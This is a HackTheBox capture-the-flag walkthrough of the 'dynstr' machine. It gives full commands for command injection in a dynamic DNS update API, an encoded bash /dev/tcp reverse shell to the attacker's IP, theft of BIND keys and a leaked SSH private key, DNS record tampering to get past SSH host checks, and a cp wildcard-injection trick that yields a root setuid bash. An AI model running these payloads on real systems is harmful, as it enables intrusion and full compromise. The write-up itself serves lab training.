16 minute read

Machine Information

dynstr

dynstr is rated as a medium machine on HackTheBox. We start with a static website for a Dynamic DNS service, which hides several hidden folders. With recursive scanning using gobuster we discover an API that we can interactive with. After a lengthy investigation we find a way to catch a reverse shell. A carelessly left DNS secret key file allows us to add our attacker IP and SSH in. From there the path to root is achieved by abusing a badly written script to add a sticky bit to bash.

Skills required are web and OS enumeration. Skills learned are manipulating DNS services and exploiting scripts.

Details  
Hosting Site HackTheBox
Link To Machine HTB - Medium - dynstr
Machine Release Date 12th June 2021
Date I Completed It 6th October 2021
Distribution Used Kali 2021.3 – Release Info

Initial Recon

As always let’s start with Nmap:

┌──(root💀kali)-[~/htb/dynstr]
└─# ports=$(nmap -p- --min-rate=1000 -T4 10.10.10.244 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)

┌──(root💀kali)-[~/htb/dynstr]
└─# nmap -p$ports -sC -sV -oA dynstr 10.10.10.244
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 05:7c:5e:b1:83:f9:4f:ae:2f:08:e1:33:ff:f5:83:9e (RSA)
|   256 3f:73:b4:95:72:ca:5e:33:f6:8a:8f:46:cf:43:35:b9 (ECDSA)
|_  256 cc:0a:41:b7:a1:9a:43:da:1b:68:f5:2a:f8:2a:75:2c (ED25519)
53/tcp open  domain  ISC BIND 9.16.1 (Ubuntu Linux)
| dns-nsid: 
|_  bind.version: 9.16.1-Ubuntu
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Dyna DNS
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Let’s start with port 80:

dynstr

We find a static website about dynamic DNS, there looks to be some useful information though:

dynstr-services

Domains and credentials, make a note of those. The Find Us section has another domain:

dynstr-find-us

Not a lot else to find here so try brute force URIs:

┌──(root💀kali)-[~/htb/dynstr]
└─# gobuster -t 100 dir -e -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://dyna.htb
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://dyna.htb
[+] Method:                  GET
[+] Threads:                 100
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.1.0
[+] Expanded:                true
[+] Timeout:                 10s
===============================================================
2021/10/01 16:39:49 Starting gobuster in directory enumeration mode
===============================================================
http://dyna.htb/assets               (Status: 301) [Size: 305] [--> http://dyna.htb/assets/]
http://dyna.htb/nic                  (Status: 301) [Size: 302] [--> http://dyna.htb/nic/]  
===============================================================
2021/10/01 16:48:43 Finished
===============================================================

We find a directory called nic, lets search some more:

┌──(root💀kali)-[~]
└─# gobuster -t 100 dir -e -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://dyna.htb/nic
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://dyna.htb/nic
[+] Method:                  GET
[+] Threads:                 100
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.1.0
[+] Expanded:                true
[+] Timeout:                 10s
===============================================================
2021/10/01 16:40:43 Starting gobuster in directory enumeration mode
===============================================================
http://dyna.htb/nic/update               (Status: 200) [Size: 8]
===============================================================
2021/10/01 16:49:40 Finished
===============================================================

API Investigation

Ok, inside nic we find a directory called update. We can try the URL with cURL:

┌──(root💀kali)-[~/htb/dynstr]
└─# curl "http://dyna.htb/nic/update"
badauth

After some searching I found this article which tells us what badauth means:

This response code is returned in case of a failed authentication for the 'request'. Please note that sending across an invalid parameter such as an unknown domain name can also result in this 'response code'

Reading this article fully shows how the API works, with this section being the important part:

GET /nic/update?myip=198.144.117.32 HTTP/1.1
Host: api.dynu.com
Authorization: Basic [BASE64-ENCODED-USERNAME:PASSWORD-PAIR]
User-Agent: [DEVICE-MODEL-MAKE-VERSION]

Note it says Authorization is Basic and uses base64 encoded username and password. This Mozilla docs explains that more fully. I also found this article which helped with the format of the URL and parameters.

We can try this with cURL:

┌──(root💀kali)-[~/htb/dynstr]
└─# curl "http://dyna.htb/nic/update?myip=10.10.14.214"
badauth

┌──(root💀kali)-[~/htb/dynstr]
└─# curl "http://dyna.htb/nic/update?myip=10.10.14.214&hostname=dyna.htb"
badauth

So following the dynu guide I’ve used my Kali IP, then I tried it adding the dyna.htb hostname. Now we need to try basic authorization, and we have the creds found earlier on the site so first we base64 encode them:

┌──(root💀kali)-[~/htb/dynstr]
└─# echo -n "dynadns:sndanyd" | base64 -w 0
ZHluYWRuczpzbmRhbnlk

Now we can use these creds:

┌──(root💀kali)-[~/htb/dynstr]
└─# curl "http://dyna.htb/nic/update?myip=10.10.14.214&hostname=dyna.htb" -H "Authorization: Basic ZHluYWRuczpzbmRhbnlk"
911 [wrngdom: htb]

Now we get a different error. Probably means wrong domain, let’s add the other domains we found on the website to our hosts file:

┌──(root💀kali)-[~/htb/dynstr]
└─# echo "10.10.10.244 dnsalias.htb dynamicdns.htb no-ip.htb dyna.htb" >> /etc/hosts

Now try a different domain:

┌──(root💀kali)-[~/htb/dynstr]
└─# curl "http://dyna.htb/nic/update?myip=10.10.14.214&hostname=no-ip.htb" -H "Authorization: Basic ZHluYWRuczpzbmRhbnlk"       
911 [wrngdom: htb]

I played around some here, eventually trying to add a subdomain which worked:

┌──(root💀kali)-[~/htb/dynstr]
└─# curl "http://dyna.htb/nic/update?myip=10.10.14.214&hostname=pencer.no-ip.htb" -H "Authorization: Basic ZHluYWRuczpzbmRhbnlk"
good 10.10.14.214

Now we’re getting somewhere. We can do a simple test to see if that subdomain can contain commands:

┌──(root💀kali)-[~/htb/dynstr]
└─# echo 'ping -c4 10.10.14.214' | base64                                                                        2 ⨯
cGluZyAtYzQgMTAuMTAuMTQuMjE0Cg==

Here we’ve base64 encoded a ping back to us. Now we need to get the server to decode this payload and execute. This let’s us see if it is arbitrarily executing the subdomain portion. We can test first that our logic works locally:

┌──(root💀kali)-[~/htb/dynstr]
└─# echo cGluZyAtYzQgMTAuMTAuMTQuMjE0Cg==  | base64 -d | bash
PING 10.10.14.214 (10.10.14.214) 56(84) bytes of data.
64 bytes from 10.10.14.214: icmp_seq=1 ttl=64 time=0.011 ms
64 bytes from 10.10.14.214: icmp_seq=2 ttl=64 time=0.057 ms
64 bytes from 10.10.14.214: icmp_seq=3 ttl=64 time=0.018 ms
64 bytes from 10.10.14.214: icmp_seq=4 ttl=64 time=0.022 ms

Here i’ve called the bas64 encoded ping back and then decoded it and passed to bash, which executed it and we see the ping on our local Kali.

Now we can test remotely by starting tcpdump on Kali to listen for the ping from the box. Last thing to do is URL endode our payload to get rid of the characters that aren’t valid:

┌──(root💀kali)-[~/htb/dynstr]
└─# python3 -c "import urllib.parse; print(urllib.parse.quote('\`echo cGluZyAtYzQgMTAuMTAuMTQuMjE0Cg==  | base64 -d | bash\`'))"
%60echo%20cGluZyAtYzQgMTAuMTAuMTQuMjE0Cg%3D%3D%20%20%7C%20base64%20-d%20%7C%20bash%60

This final payload can be added as a subdomain like before:

┌──(root💀kali)-[~/htb/dynstr]
└─# curl "http://dyna.htb/nic/update?myip=10.10.14.214&hostname=%60echo%20cGluZyAtYzQgMTAuMTAuMTQuMjE0Cg%3D%3D%20%20%7C%20base64%20-d%20%7C%20bash%60.no-ip.htb" -H "Authorization: Basic ZHluYWRuczpzbmRhbnlk"
911 [nsupdate failed]

We get an update failed, but if you look at tcpdump that is listening we see it received the pings:

┌──(root💀kali)-[~/htb/dynstr]
└─# tcpdump icmp -i tun0
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on tun0, link-type RAW (Raw IP), snapshot length 262144 bytes
11:12:00.899981 IP dyna.htb > 10.10.14.214: ICMP echo request, id 4, seq 1, length 64
11:12:00.899991 IP 10.10.14.214 > dyna.htb: ICMP echo reply, id 4, seq 1, length 64
11:12:01.901063 IP dyna.htb > 10.10.14.214: ICMP echo request, id 4, seq 2, length 64
11:12:01.901072 IP 10.10.14.214 > dyna.htb: ICMP echo reply, id 4, seq 2, length 64
11:12:02.902575 IP dyna.htb > 10.10.14.214: ICMP echo request, id 4, seq 3, length 64
11:12:02.902585 IP 10.10.14.214 > dyna.htb: ICMP echo reply, id 4, seq 3, length 64
11:12:03.904442 IP dyna.htb > 10.10.14.214: ICMP echo request, id 4, seq 4, length 64
11:12:03.904470 IP 10.10.14.214 > dyna.htb: ICMP echo reply, id 4, seq 4, length 64
11:12:03.933087 IP dyna.htb > 10.10.14.214: ICMP echo request, id 5, seq 1, length 64
11:12:03.933097 IP 10.10.14.214 > dyna.htb: ICMP echo reply, id 5, seq 1, length 64
11:12:04.934231 IP dyna.htb > 10.10.14.214: ICMP echo request, id 5, seq 2, length 64
11:12:04.934242 IP 10.10.14.214 > dyna.htb: ICMP echo reply, id 5, seq 2, length 64
11:12:05.935225 IP dyna.htb > 10.10.14.214: ICMP echo request, id 5, seq 3, length 64
11:12:05.935234 IP 10.10.14.214 > dyna.htb: ICMP echo reply, id 5, seq 3, length 64
11:12:06.935920 IP dyna.htb > 10.10.14.214: ICMP echo request, id 5, seq 4, length 64
11:12:06.935930 IP 10.10.14.214 > dyna.htb: ICMP echo reply, id 5, seq 4, length 64

Reverse Shell

Excellent. We’ve proved we can execute commands on the server and communicate back to Kali. Now it’s time for a reverse shell, I just used a classic pentestmonkey one, first bas64 encode:

┌──(root💀kali)-[~/htb/dynstr]
└─# echo 'bash -i >& /dev/tcp/10.10.14.214/4444 0>&1' | base64
YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4yMTQvNDQ0NCAwPiYxCg==

Put that encoded string in the same command as before to echo, decode then pass to bash. URL encode it:

┌──(root💀kali)-[~/htb/dynstr]
└─# python3 -c "import urllib.parse; print(urllib.parse.quote('\`echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4yMTQvNDQ0NCAwPiYxCg==  | base64 -d | bash\`'))"
%60echo%20YmFzaCAtaSA%2BJiAvZGV2L3RjcC8xMC4xMC4xNC4yMTQvNDQ0NCAwPiYxCg%3D%3D%20%20%7C%20base64%20-d%20%7C%20bash%60

Now use cURL like before to pass to the box, make sure you have a netcat listener waiting to catch the shell:

┌──(root💀kali)-[~/htb/dynstr]
└─# curl "http://dyna.htb/nic/update?myip=10.10.14.214&hostname=%60echo%20YmFzaCAtaSA%2BJiAvZGV2L3RjcC8xMC4xMC4xNC4yMTQvNDQ0NCAwPiYxCg%3D%3D%20%20%7C%20base64%20-d%20%7C%20bash%60.no-ip.htb" -H "Authorization: Basic ZHluYWRuczpzbmRhbnlk"

Switch over and we’ve got out initial shell connected:

┌──(root💀kali)-[~]
└─# nc -nlvp 4444
listening on [any] 4444 ...
connect to [10.10.14.214] from (UNKNOWN) [10.10.10.244] 51504
bash: cannot set terminal process group (795): Inappropriate ioctl for device
bash: no job control in this shell
www-data@dynstr:/var/www/html/nic$ 

Update Script

We are connected as www-data, so first let’s see what is in our home folder:

www-data@dynstr:/var/www/html/nic$ ls -ls
0 -rw-r--r-- 1 root root    0 Mar 12  2021 index.html
4 -rw-r--r-- 1 root root 1110 Mar 13  2021 update

www-data@dynstr:/var/www/html/nic$ file update
update: PHP script, ASCII text

www-data@dynstr:/var/www/html/nic$ cat update
<?php
  // Check authentication
  if (!isset($_SERVER['PHP_AUTH_USER']) || !isset($_SERVER['PHP_AUTH_PW']))      { echo "badauth\n"; exit; }
  if ($_SERVER['PHP_AUTH_USER'].":".$_SERVER['PHP_AUTH_PW']!=='dynadns:sndanyd') { echo "badauth\n"; exit; }

  // Set $myip from GET, defaulting to REMOTE_ADDR
  $myip = $_SERVER['REMOTE_ADDR'];
  if ($valid=filter_var($_GET['myip'],FILTER_VALIDATE_IP))                       { $myip = $valid; }

  if(isset($_GET['hostname'])) {
    // Check for a valid domain
    list($h,$d) = explode(".",$_GET['hostname'],2);
    $validds = array('dnsalias.htb','dynamicdns.htb','no-ip.htb');
    if(!in_array($d,$validds)) { echo "911 [wrngdom: $d]\n"; exit; }
    // Update DNS entry
    $cmd = sprintf("server 127.0.0.1\nzone %s\nupdate delete %s.%s\nupdate add %s.%s 30 IN A %s\nsend\n",$d,$h,$d,$h,$d,$myip);
    system('echo "'.$cmd.'" | /usr/bin/nsupdate -t 1 -k /etc/bind/ddns.key',$retval);
    // Return good or 911
    if (!$retval) {
      echo "good $myip\n";
    } else {
      echo "911 [nsupdate failed]\n"; exit;
    }
  } else {
    echo "nochg $myip\n";
  }
?>

The update file is what we interacted with to get our initial shell. The interesting part of it is here:

// Update DNS entry
    $cmd = sprintf("server 127.0.0.1\nzone %s\nupdate delete %s.%s\nupdate add %s.%s 30 IN A %s\nsend\n",$d,$h,$d,$h,$d,$myip);
    system('echo "'.$cmd.'" | /usr/bin/nsupdate -t 1 -k /etc/bind/ddns.key',$retval);

Secret Keys

This is where the command to be executed is formed, we can see a path to a file ddns.key. Looking in that folder:

www-data@dynstr:/home/bindmgr/.ssh$ cd /etc/bind
www-data@dynstr:/etc/bind$ ls -l
-rw-r--r-- 1 root root  237 Dec 17  2019 db.0
-rw-r--r-- 1 root root  271 Dec 17  2019 db.127
-rw-r--r-- 1 root root  237 Dec 17  2019 db.255
-rw-r--r-- 1 root root  353 Dec 17  2019 db.empty
-rw-r--r-- 1 root root  270 Dec 17  2019 db.local
-rw-r--r-- 1 root bind  100 Mar 15  2021 ddns.key
-rw-r--r-- 1 root bind  101 Mar 15  2021 infra.key
<SNIP>

We see another key in there as well, let’s check them out:

www-data@dynstr:/etc/bind$ cat ddns.key
key "ddns-key" {
        algorithm hmac-sha256;
        secret "K8VF/NCIy5K4494l2w09Kib7oEcjdjdF7m4dXSI8vhI=";
};

www-data@dynstr:/etc/bind$ cat infra.key
key "infra-key" {
        algorithm hmac-sha256;
        secret "7qHH/eYXorN2ZNUM1dpLie5BmVstOw55LgEeacJZsao=";
};

Trace File

We know this box is based on working with DNS, so let’s keep those files in mind for later.

Checking users we have two, bindmgr and dyna, let’s look at bindmgr:

www-data@dynstr:/var/www/html/nic$ ls -lsa /home/bindmgr
ls -lsa /home/bindmgr
0 lrwxrwxrwx 1 bindmgr bindmgr    9 Mar 15  2021 .bash_history -> /dev/null
4 -rw-r--r-- 1 bindmgr bindmgr  220 Feb 25  2020 .bash_logout
4 -rw-r--r-- 1 bindmgr bindmgr 3771 Feb 25  2020 .bashrc
4 drwx------ 2 bindmgr bindmgr 4096 Mar 13  2021 .cache
4 -rw-r--r-- 1 bindmgr bindmgr  807 Feb 25  2020 .profile
4 drwxr-xr-x 2 bindmgr bindmgr 4096 Mar 13  2021 .ssh
4 -rw-rw-r-- 1 bindmgr bindmgr    2 Oct  2 19:46 .version
4 drwxr-xr-x 2 bindmgr bindmgr 4096 Mar 13  2021 support-case-C62796521
4 -r-------- 1 bindmgr bindmgr   33 Oct  1 13:20 user.txt

Support case sounds interesting, let’s look in there:

www-data@dynstr:/home/bindmgr$ cd support-case-C62796521
www-data@dynstr:/home/bindmgr/support-case-C62796521$ ls -l
-rw-r--r-- 1 bindmgr bindmgr 237141 Mar 13  2021 C62796521-debugging.script
-rw-r--r-- 1 bindmgr bindmgr  29312 Mar 13  2021 C62796521-debugging.timing
-rw-r--r-- 1 bindmgr bindmgr   1175 Mar 13  2021 command-output-C62796521.txt
-rw-r--r-- 1 bindmgr bindmgr 163048 Mar 13  2021 strace-C62796521.txt

Looking at the four files the command-output on shows us this:

www-data@dynstr:/home/bindmgr/support-case-C62796521$ cat command-output-C62796521.txt
<SNIP>
* Connected to sftp.infra.dyna.htb (192.168.178.27) port 22 (#0)
* SSH MD5 fingerprint: c1c2d07855aa0f80005de88d254a6db8
* SSH authentication methods available: publickey,password
* Using SSH public key file '/home/bindmgr/.ssh/id_rsa.pub'
* Using SSH private key file '/home/bindmgr/.ssh/id_rsa'

It mentions sftp.infra.dyna.htb, which must relate the the infra.key we found earlier. It also shows that the ssh keys held in the users home .ssh folder where used to connect. Looking at the strace file we find this amongst the long output:

www-data@dynstr:/home/bindmgr/support-case-C62796521$ cat strace-C62796521.txt
<SNIP>
15123 getrusage(RUSAGE_SELF, {ru_utime={tv_sec=0, tv_usec=31761}, ru_stime={tv_sec=0, tv_usec=36298}, ...}) = 0
15123 clock_gettime(CLOCK_PROCESS_CPUTIME_ID, {tv_sec=0, tv_nsec=68154027}) = 0
15123 openat(AT_FDCWD, "/home/bindmgr/.ssh/id_rsa", O_RDONLY) = 5
15123 fstat(5, {st_mode=S_IFREG|0600, st_size=1823, ...}) = 0
15123 read(5, "-----BEGIN OPENSSH PRIVATE KEY-----\nb3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAE
bm9uZQAAAAAAAAABAAABFwAAAAdzc2gtcn\nNhAAAAAwEAAQAAAQEAxeKZHOy+RGhs+gnMEgsdQas7klAb37
HhVANJgY7EoewTwmSCcsl1\n42kuvUhxLultlMRCj1pnZY/1sJqTywPGalR7VXo+2l0Dwx3zx7kQFiPeQJwi
OM8u/g8lV3\nHjGnCvzI4UojALjCH3YPVuvuhF0yIPvJDessdot/D2VPJqS+TD/4NogynFeUrpIW5DSP+F\
nL6oXil+sOM5ziRJQl/gKCWWDtUHHYwcsJpXotHxr5PibU8EgaKD6/heZXsD3Gn1VysNZdn\nUOLzjapbD
5Xm3xyykIQVkJMef6mveI972qx3z8m5\nrlfhko8zl6OtNtayoxUbQJvKKaTmLvfpho2PyE4E34BN+OBAIO
CJ3+TAAAADWJpbmRtZ3JAbm9tZW4BAgMEBQ==\n-----END OPENSSH PRIVATE KEY-----\n", 4096) = 1823
15123 read(5, "", 4096)                 = 0
15123 close(5)                          = 0
15123 write(2, "*", 1)                  = 1
15123 write(2, " ", 1)                  = 1
15123 write(2, "SSH public key authentication failed: Callback returned error\n", 62) = 62
15123 getpid()                          = 15123
15123 getrusage(RUSAGE_SELF, {ru_utime={tv_sec=0, tv_usec=32028}, ru_stime={tv_sec=0, tv_usec=36604}, ...}) = 0
15123 clock_gettime(CLOCK_PROCESS_CPUTIME_ID, {tv_sec=0, tv_nsec=68639024}) = 0

SSH Private Key

In the middle of the file we see a SSH private key, we can copy that to a file on Kali for later:

┌──(root💀kali)-[~/htb/dynstr]
└─# echo '-----BEGIN OPENSSH PRIVATE KEY-----\nb3BlbnNzaC1rZXk<SNIP>+TAAAADWJpbmRtZ3JAbm9tZW4BAgMEBQ==\n-----END OPENSSH PRIVATE KEY-----\n' | sed 's/:/\n/g'
-----BEGIN OPENSSH PRIVATE KEY-----
TbCX2irUtaW+Ca6ky54TIyaWNIwZNznoMeLpINn7nUXbgQAAAIB+QqeQO7A3KHtYtTtr6A
<SNIP>
rlfhko8zl6OtNtayoxUbQJvKKaTmLvfpho2PyE4E34BN+OBAIOvfRxnt2x2SjtW3ojCJoG
jGPLYph+aOFCJ3+TAAAADWJpbmRtZ3JAbm9tZW4BAgMEBQ==
-----END OPENSSH PRIVATE KEY-----

After looking through the files in that folder, now I look in the .ssh folder:

www-data@dynstr:/var/www/html/nic$ ls -lsa /home/bindmgr/.ssh
ls -lsa /home/bindmgr/.ssh
total 24
4 drwxr-xr-x 2 bindmgr bindmgr 4096 Mar 13  2021 .
4 drwxr-xr-x 5 bindmgr bindmgr 4096 Oct  2 19:46 ..
4 -rw-r--r-- 1 bindmgr bindmgr  419 Mar 13  2021 authorized_keys
4 -rw------- 1 bindmgr bindmgr 1823 Mar 13  2021 id_rsa
4 -rw-r--r-- 1 bindmgr bindmgr  395 Mar 13  2021 id_rsa.pub
4 -rw-r--r-- 1 bindmgr bindmgr  444 Mar 13  2021 known_hosts

We see we haven’t got access to the id_rsa file in here, but having already found a copy of it in the support folder we don’t need it. Looking in authorized_keys:

www-data@dynstr:/var/www/html/nic$ cat /home/bindmgr/.ssh/authorized_keys
cat /home/bindmgr/.ssh/authorized_keys
from="*.infra.dyna.htb" ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDF4pkc7L5EaGz6CcwSCx1BqzuSUBvfseFUA0mBjsSh7BPCZIJyyXXjaS69SHEu6W2UxEKPWmdlj/WwmpPLA8ZqVHtVej7aXQPDHfPHuRAWI95AnCI4zy7+DyVXceMacK/MjhSiMAuMIfdg9W6+6EXTIg+8kN6yx2i38PZU8mpL5MP/g2iDKcV5SukhbkNI/4UvqheKX6w4znOJElCX+AoJZYO1QcdjBywmlei0fGvk+JtTwSBooPr+F5lewPcafVXKw1l2dQ4vONqlsN1EcpEkN+28ndlclgvm+26mhm7NNMPVWs4yeDXdDlP3SSd1ynKEJDnQhbhc1tcJSPEn7WOD bindmgr@nomen

We see an unusual from line at the start on the file. I found this which explains:

Specifies whether sshd(8) should look up the remote host name, and to check that the resolved host name for the remote IP address maps back to the very same IP address.

NS Update

Everything now falls in to place. We have the public and private key for the bindmgr user. We have authorized_key file that requires us to connect from the infra.dyna.htb zone. We have the infra.key file containing the secret needed to perform an nsupdate.

So we just need to add our Kali IP in to the infra DNS zone so we can connect via SSH. To do this we use nsupdate which we saw earlier in the update script:

www-data@dynstr:/etc/bind$ nsupdate -k infra.key
nsupdate -k infra.key
> update add pencer.infra.dyna.htb 86400 A 10.10.14.214
> 
> update add 214.14.10.10.in-addr.arpa 86400 PTR pencer.infra.dyna.htb
> show
Outgoing update query:
;; ->>HEADER<<- opcode: UPDATE, status: NOERROR, id:      0
;; flags:; ZONE: 0, PREREQ: 0, UPDATE: 0, ADDITIONAL: 0
;; UPDATE SECTION:
214.14.10.10.in-addr.arpa. 86400 IN     PTR     pencer.infra.dyna.htb.

> send
> quit

User Flag

Switch back to Kali and we should be able to login using the private key we copied across earlier:

┌──(root💀kali)-[~/htb/dynstr]
└─# ssh -i id_rsa bindmgr@dyna.htb
The authenticity of host 'dyna.htb (10.10.10.244)' can't be established.
ECDSA key fingerprint is SHA256:443auWJe5iDH5JBCq/9ir4ToxZ5PTzTv7XvRSYrz0ao.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'dyna.htb,10.10.10.244' (ECDSA) to the list of known hosts.
Last login: Tue Jun  8 19:19:17 2021 from 6146f0a384024b2d9898129ccfee3408.infra.dyna.htb
bindmgr@dynstr:~$ 

We can grab the user flag we saw earlier now:

bindmgr@dynstr:~$ cat user.txt 
<HIDDEN>

Bindmgr Script

Ok, first a few things to look at, if nothing obvious stands out we can grab LinPEAS. I usally check sudo first:

bindmgr@dynstr:~$ sudo -l
sudo: unable to resolve host dynstr.dyna.htb: Name or service not known
Matching Defaults entries for bindmgr on dynstr:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User bindmgr may run the following commands on dynstr:
    (ALL) NOPASSWD: /usr/local/bin/bindmgr.sh

That was the right guess on this box!

Let’s look what this bindmgr.sh script does. This first section sets the paths and checks if a file called .version exists in the $BINDMGR_DIR folder:

bindmgr@dynstr:~$ cat /usr/local/bin/bindmgr.sh
#!/usr/bin/bash
<SNIP>
BINDMGR_CONF=/etc/bind/named.conf.bindmgr
BINDMGR_DIR=/etc/bind/named.bindmgr

indent() { sed 's/^/    /'; }

# Check versioning (.version)
echo "[+] Running $0 to stage new configuration from $PWD."
if [[ ! -f .version ]] ; then
    echo "[-] ERROR: Check versioning. Exiting."
    exit 42
fi
if [[ "`cat .version 2>/dev/null`" -le "`cat $BINDMGR_DIR/.version 2>/dev/null`" ]] ; then
    echo "[-] ERROR: Check versioning. Exiting."
    exit 43
fi

Now it creates a list of all files in named.bindmgr folder:

# Create config file that includes all files from named.bindmgr.
echo "[+] Creating $BINDMGR_CONF file."
printf '// Automatically generated file. Do not modify manually.\n' > $BINDMGR_CONF
for file in * ; do
    printf 'include "/etc/bind/named.bindmgr/%s";\n' "$file" >> $BINDMGR_CONF
done

This is the vulnerable bit. Here it is copying all the files to /etc/bind/named.bindmgr, but it uses * so we can put any file in and it will append to a single cp copy:

# Stage new version of configuration files.
echo "[+] Staging files to $BINDMGR_DIR."
cp .version * /etc/bind/named.bindmgr/

After that the script just tidies up. Let’s create a file called .version with a number one as the contents, then run the script and see what happens:

bindmgr@dynstr:~$ cd /dev/shm

bindmgr@dynstr:/dev/shm$ echo "1" > .version

bindmgr@dynstr:/dev/shm$ sudo /usr/local/bin/bindmgr.sh
sudo: unable to resolve host dynstr.dyna.htb: Name or service not known
[+] Running /usr/local/bin/bindmgr.sh to stage new configuration from /dev/shm.
[+] Creating /etc/bind/named.conf.bindmgr file.
[+] Staging files to /etc/bind/named.bindmgr.
cp: cannot stat '*': No such file or directory
[+] Checking staged configuration.
[-] ERROR: The generated configuration is not valid. Please fix following errors: 
    /etc/bind/named.conf.bindmgr:2: open: /etc/bind/named.bindmgr/*: file not found

bindmgr@dynstr:/dev/shm$ ls -lsa /etc/bind/named.bindmgr/
4 -rw-r--r-- 1 root bind    2 Oct  6 23:11 .version

Stage Files

OK, so we created a file called .version in /dev/shm, ran the script as root, then we see the file is copied to /etc/bind/named.bindmgr and is owned by root. We know the * in the script means it will take all files it finds in the current folder and create a single command line from it. We can take advantage of this by staging files that will give us a bash we can run as our user in the context of root.

First we want to copy bash in to our working folder /dev/shm and set the SETUID bit on it. SETUID is defined as:

s (setuid) means set user ID upon execution. If setuid bit turned on a file, user executing that executable file gets the permissions of the individual or group that owns the file.

Then we need to create another file called –preserve=mode, it doesn’t need any contents. This is because when the script copies bash it will remove the setuid bit we’ve just set, which is explained here.

Let’s do it:

bindmgr@dynstr:/tmp/tmp$ cp /bin/bash .
bindmgr@dynstr:/tmp/tmp$ chmod +s bash
bindmgr@dynstr:/tmp/tmp$ echo "" > "--preserve=mode"

bindmgr@dynstr:/dev/shm$ ls -lsa
total 1164
   0 drwxrwxrwt  2 root    root        100 Oct  6 23:21  .
   0 drwxr-xr-x 17 root    root       3940 Oct  6 20:57  ..
1156 -rwsr-sr-x  1 bindmgr bindmgr 1183448 Oct  6 23:20  bash
   4 -rw-rw-r--  1 bindmgr bindmgr       1 Oct  6 23:21 '--preserve=mode'
   4 -rw-rw-r--  1 bindmgr bindmgr       2 Oct  6 23:10  .version

bindmgr@dynstr:/dev/shm$ sudo /usr/local/bin/bindmgr.sh
sudo: unable to resolve host dynstr.dyna.htb: Name or service not known
[+] Running /usr/local/bin/bindmgr.sh to stage new configuration from /dev/shm.
[+] Creating /etc/bind/named.conf.bindmgr file.
[+] Staging files to /etc/bind/named.bindmgr.
cp: cannot stat '*': No such file or directory
[+] Checking staged configuration.
[-] ERROR: The generated configuration is not valid. Please fix following errors: 
    /etc/bind/named.conf.bindmgr:2: open: /etc/bind/named.bindmgr/*: file not found

bindmgr@dynstr:/dev/shm$ cd /etc/bind/named.bindmgr
bindmgr@dynstr:/etc/bind/named.bindmgr$ ls -lsa
total 1168
   4 drwxr-sr-x 2 root bind    4096 Oct  6 23:21 .
   4 drwxr-sr-x 3 root bind    4096 Oct  6 23:21 ..
1156 -rwsr-sr-x 1 root bind 1183448 Oct  6 23:21 bash
   4 -rw-rw-r-- 1 root bind       2 Oct  6 23:21 .version

Root Flag

It worked and we can see bash has been copied to the folder, it’s owned by root but still has the s bit set so we can execute it as our user:

bindmgr@dynstr:/etc/bind/named.bindmgr$ ./bash -p
bash-5.0# whoami
root
bash-5.0# id
uid=1001(bindmgr) gid=1001(bindmgr) euid=0(root) egid=117(bind) groups=117(bind),1001(bindmgr)
bash-5.0# cat /root/root.txt
<HIDDEN>

That was a pretty tricky box for me, so hopefully I’ve done it justice with this walk-through.

All done. See you next time.

Comments